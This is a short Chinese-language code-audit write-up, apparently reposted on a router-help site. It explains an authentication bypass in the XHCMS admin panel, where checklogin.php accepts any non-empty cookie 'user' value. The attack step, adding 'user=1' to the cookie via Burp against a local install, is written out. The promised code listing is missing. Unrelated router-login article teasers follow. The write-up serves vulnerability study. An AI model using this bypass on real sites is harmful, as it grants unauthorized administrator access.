自动化代码安全审计往往无法查找业务相关的漏洞,比如支付漏洞、任意密码重置,优惠券叠加等。在了解代码和业务的基础上,来进行人工审计。

在进入到管理员首页时,首先会检测是否是登录的状态,

漏洞代码位置/xhcms/inc/checklogin.php

下面我们看下checklogin.php代码

判断登录的状态是通过截取cookie中user字段的值来判断是否进行了登录。如果COOKIE中user参数为空,那么就跳转到登陆的地方。如果修改user字段不为空,就会成功登录到后台。显然,这种写法是有缺陷的。

我们来利用此漏洞来登录后台,访问如下地址,使用burp拦截

http://127.0.0.1/xhcms/admin/index.php

在cookie里添加;user=1

以上内容由“WiFi之家网”整理收藏!。

相关推荐

192.168.1.1 路由器设置登录

  对于家庭和小型企业而言,路由器是连接网络的核心设备。常见的路由器管理地址为192.168.1.1,用户可以通过该地址进入路由器的设置界面进行配置和优化。在这篇文章中,...

192.168.1.1 登录地址

在现代家庭和办公环境中,路由器扮演着至关重要的角色。它不仅是互联网接入的关口,更是安全和网络管理的重心。而要更好地管理路由器的设置和性能,用户常常需要登录到路由器的管理界面。其中,...

192.168.1.1 路由器设置

在现代网络环境中,路由器扮演着至关重要的角色。路由器不仅是互联网连接的关键设备,还负责局域网内各设备之间的通信。当我们提到路由器的设置时,192.168.1.1这个IP地址是一个常...